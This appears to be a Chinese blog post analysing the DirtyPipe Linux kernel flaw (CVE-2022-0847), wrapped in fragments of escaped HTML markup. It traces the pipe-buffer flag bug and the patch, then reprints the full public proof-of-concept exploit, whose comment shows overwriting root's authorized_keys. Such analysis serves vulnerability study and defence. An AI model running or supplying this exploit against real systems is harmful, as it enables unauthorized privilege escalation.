class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E) : \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eread\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ebuffer\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Er\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003En\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-tab\" role=\"presentation\" cm-text=\"\t\" style=\"box-sizing: border-box; font-family: var(--monospace); position: relative; display: inline-block;\"\u003E \u003C\u002Fspan\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E紧接着是触发漏洞的关键函数,\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数,用于移动数据,此时\u003Ccode\u003Efd\u003C\u002Fcode\u003E指向我们想读取的文件,对应上述的\u003Ccode\u003Efoo.txt\u003C\u002Fcode\u003E只读文件,p[1]指向的是我们的管道符。\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Essize_t\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Esplice\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Efd\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eoffset\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ENULL\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E在调用\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数时,内核在某个阶段会调用\u003Ccode\u003Ecopy_page_to_iter\u003C\u002Fcode\u003E函数,可以看到当管道满了之后就没办法通过\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数往管道内继续输入数据,那么\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数就无法正常执行了,因此需要清空管道内的数据。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227162317690\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227162317690.png\" width=\"720\" height=\"244.18300653594773\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E后面则到达了漏洞发生的代码,由于我们使用\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227162727269\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227162727269.png\" width=\"720\" height=\"186\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E这里记录一下物理页的地址\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227162927180\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227162927180.png\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Enbytes\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ewrite\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ep\u003C\u002Fspan\u003E[\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E], \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edata_size\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E...\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E由于已经通过\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到\u003Ccode\u003E455\u003C\u002Fcode\u003E行的内部处理逻辑\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227163143710\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227163143710.png\" width=\"720\" height=\"196.87164179104477\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E最终到达了往只读文件写入的操作,这里看到了\u003Ccode\u003EPIPE_BUF_FLAG_CAN_MERGE\u003C\u002Fcode\u003E这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过\u003Ccode\u003Ecopy_page_from_iter(buf->page,offset,chars,from)\u003C\u002Fcode\u003E函数进行完成的,该函数实际就是将\u003Ccode\u003Efrom\u003C\u002Fcode\u003E对应的数据写入到\u003Ccode\u003Ebuf->page\u003C\u002Fcode\u003E中\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227163326700\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227163326700.png\" width=\"720\" height=\"217.18838929994308\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E可以看到\u003Ccode\u003Ebuf->page\u003C\u002Fcode\u003E与\u003Ccode\u003Epage\u003C\u002Fcode\u003E地址是完全一样的,这就导致我们将数据写入修改到\u003Ccode\u003Efoo.txt\u003C\u002Fcode\u003E文件中\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227163549082\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227163549082.png\"\u003E\u003C\u002Fp\u003E\u003Ch1\u003E补丁\u003C\u002Fh1\u003E\u003Cp\u003E补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" alt=\"image-20221227164411448\" src=\"https:\u002F\u002Fgitee.com\u002Fh0pe-ay\u002Fblogimages\u002Fraw\u002Fmaster\u002Fimage-20221227164411448.png\" width=\"720\" height=\"327.80058651026394\"\u003E\u003C\u002Fp\u003E\u003Ch1\u003E总结\u003C\u002Fh1\u003E\u003Cp\u003E\u003Ccode\u003EDirtyPipe\u003C\u002Fcode\u003E\u003Cstrong\u003E攻击流程\u003C\u002Fstrong\u003E\u003C\u002Fp\u003E\u003Cul\u003E \u003Cli\u003E \u003Cp\u003E将所有管道缓冲区都设置\u003Ccode\u003EPIPE_BUF_FLAG_CAN_MERGE\u003C\u002Fcode\u003E标志位\u003C\u002Fp\u003E \u003C\u002Fli\u003E \u003Cli\u003E \u003Cp\u003E清空管道缓冲区\u003C\u002Fp\u003E \u003C\u002Fli\u003E \u003Cli\u003E \u003Cp\u003E使用\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数获取文件所对应的物理页\u003C\u002Fp\u003E \u003C\u002Fli\u003E \u003Cli\u003E \u003Cp\u003E使用\u003Ccode\u003Epipe_write\u003C\u002Fcode\u003E函数对拥有\u003Ccode\u003EPIPE_BUF_FLAG_CAN_MERGE\u003C\u002Fcode\u003E标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作\u003C\u002Fp\u003E \u003C\u002Fli\u003E\u003C\u002Ful\u003E\u003Cp\u003E\u003Ccode\u003EDirtyPipe\u003C\u002Fcode\u003E\u003Cstrong\u003E利用的限制\u003C\u002Fstrong\u003E\u003C\u002Fp\u003E\u003Cul\u003E \u003Cli\u003E \u003Cp\u003E对文件有读权限,因为\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数会首先判断对文件是否有可读权限,若无则无法正常执行\u003C\u002Fp\u003E \u003C\u002Fli\u003E \u003Cli\u003E \u003Cp\u003E由于\u003Ccode\u003EDirtyPipe\u003C\u002Fcode\u003E是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为\u003Ccode\u003Esplice\u003C\u002Fcode\u003E函数需要移动至少一字节数据)\u003C\u002Fp\u003E \u003C\u002Fli\u003E \u003Cli\u003E \u003Cp\u003E由于\u003Ccode\u003EDirtyPipe\u003C\u002Fcode\u003E是对物理页进行修改,因此修改数据大小也不能超过一页\u003C\u002Fp\u003E \u003C\u002Fli\u003E\u003C\u002Ful\u003E\u003Ch1\u003E完整的poc\u003C\u002Fh1\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F* SPDX-License-Identifier: GPL-2.0 *\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* Copyright 2022 CM4all GmbH \u002F IONOS SE\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* author: Max Kellermann <max.kellermann@ionos.com>\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* Proof-of-concept exploit for the Dirty Pipe\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* vulnerability (CVE-2022-0847) caused by an uninitialized\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* \"pipe_buffer.flags\" variable. It demonstrates how to overwrite any\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* file contents in the page cache, even if the file is not permitted\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* to be written, immutable or on a read-only mount.\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* This exploit requires Linux 5.8 or later; the code path was made\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* reachable by commit f6dd975583bd (\"pipe: merge\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* anon_pipe_buf*_ops\"). The commit did not introduce the bug, it was\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* there before, it just provided an easy way to exploit it.\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* There are two major limitations of this exploit: the offset cannot\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* be on a page boundary (it needs to write one byte before the offset\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* to add a reference to this page to the pipe), and the write cannot\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* cross a page boundary.\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* Example: .\u002Fwrite_anything \u002Froot\u002F.ssh\u002Fauthorized_keys 1

DirtyPipe(CVE-2022-0847)漏洞分析

2022-12-28 15:44
6001

前言

CVE-2022-0847 DirtyPipe脏管道漏洞是Linux内核中的一个漏洞,该漏洞允许写只读文件,从而导致提权。

调试环境

  • ubuntu 20.04

  • Linux-5.16.10

  • qemu-system-x86_64 4.2.1

漏洞验证

首先创建一个只读文件foo.txt,并且正常情况下是无法修改该可读文件,但是利用了DirtyPipe漏洞后发现可以将字符aaaa写入到只读文件中

image-20221227160027149

漏洞分析

poc作为切入点,分析漏洞成因

首先poc创建了一个管道,管道缓冲区的默认大小为4096,并且拥有16个缓存区,因此再创建管道之后,poc首先要做的是将这16个管道缓冲区填满。

...
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
...

在进行管道写的操作时,内核是采用pipe_write函数进行操作,这里截取了关键部分,在进行管道写的时候会判断通过函数is_packetized去判断是否为目录属性,如果不是则将缓冲区的标志位设置为PIPE_BUF_FLAG_CAN_MERGE,这个标志位非常关键,是导致漏洞成因,因此poc为了使16个管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位,因此选择循环16次, 并且将每个管道缓冲区都写满。

image-20221227161042200

随着poc将管道内的数据全部读出,为了清空管道缓冲区,在进行管道读的过程中,内核采用的是pipe_read函数,在整个管道读的过程中是不会修改管道的标志位的,因此PIPE_BUF_FLAG_CAN_MEGE标志位依旧存在

...
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
...

紧接着是触发漏洞的关键函数,splice函数,用于移动数据,此时fd指向我们想读取的文件,对应上述的foo.txt只读文件,p[1]指向的是我们的管道符。

...
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
...

在调用splice函数时,内核在某个阶段会调用copy_page_to_iter函数,可以看到当管道满了之后就没办法通过splice函数往管道内继续输入数据,那么splice函数就无法正常执行了,因此需要清空管道内的数据。

image-20221227162317690

后面则到达了漏洞发生的代码,由于我们使用splice函数进行数据的移动,在内核中不是选择将数据直接从文件中拷贝到管道中,而是将文件所在的物理页直接赋值给管道缓冲区所对应的页面。

image-20221227162727269

这里记录一下物理页的地址

image-20221227162927180

最后就是再次调用管道写的操作,但是这里实际会写入只读文件内部

...
nbytes = write(p[1], data, data_size);
...

由于已经通过splice函数移动数据到管道缓冲区古内部了,因此管道不为空会进入到455行的内部处理逻辑

image-20221227163143710

最终到达了往只读文件写入的操作,这里看到了PIPE_BUF_FLAG_CAN_MERGE这个标志位的作用,该标志位就是会将数据合并,使得后续管道写的操作会继续向之前的管道缓冲区对应的物理页面继续写入,写入的操作是通过copy_page_from_iter(buf->page,offset,chars,from)函数进行完成的,该函数实际就是将from对应的数据写入到buf->page

image-20221227163326700

可以看到buf->pagepage地址是完全一样的,这就导致我们将数据写入修改到foo.txt文件中

image-20221227163549082

补丁

补丁页比较简单,在获取物理页的同时把管道缓冲区的标志位清空,就不会导致后面对管道进行写操作的时候进入合并数据流的流程

image-20221227164411448

总结

DirtyPipe攻击流程

  • 将所有管道缓冲区都设置PIPE_BUF_FLAG_CAN_MERGE标志位

  • 清空管道缓冲区

  • 使用splice函数获取文件所对应的物理页

  • 使用pipe_write函数对拥有PIPE_BUF_FLAG_CAN_MERGE标志位的处理,对获得文件对应的物理页进行写入操作,从而达到对只读文件写入的操作

DirtyPipe利用的限制

  • 对文件有读权限,因为splice函数会首先判断对文件是否有可读权限,若无则无法正常执行

  • 由于DirtyPipe是对文件对应的物理做覆写操作,因此不能修改超过文件本身大小的数据,以及文件的第一个字节无法被修改(因为splice函数需要移动至少一字节数据)

  • 由于DirtyPipe是对物理页进行修改,因此修改数据大小也不能超过一页

完整的poc

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1
\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
  the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
  leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
  pipe_buffer without initializing its "flags", the buffer
  will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
  PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
  pipe; this will add a reference to the page cache, but
  since copy_page_to_iter_pipe() does not initialize the
  "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
  will instead write into the page cache, because of the
  PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}
\\nssh-ed25519 AAA......\\n'\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* Further explanation: https:\u002F\u002Fdirtypipe.cm4all.com\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 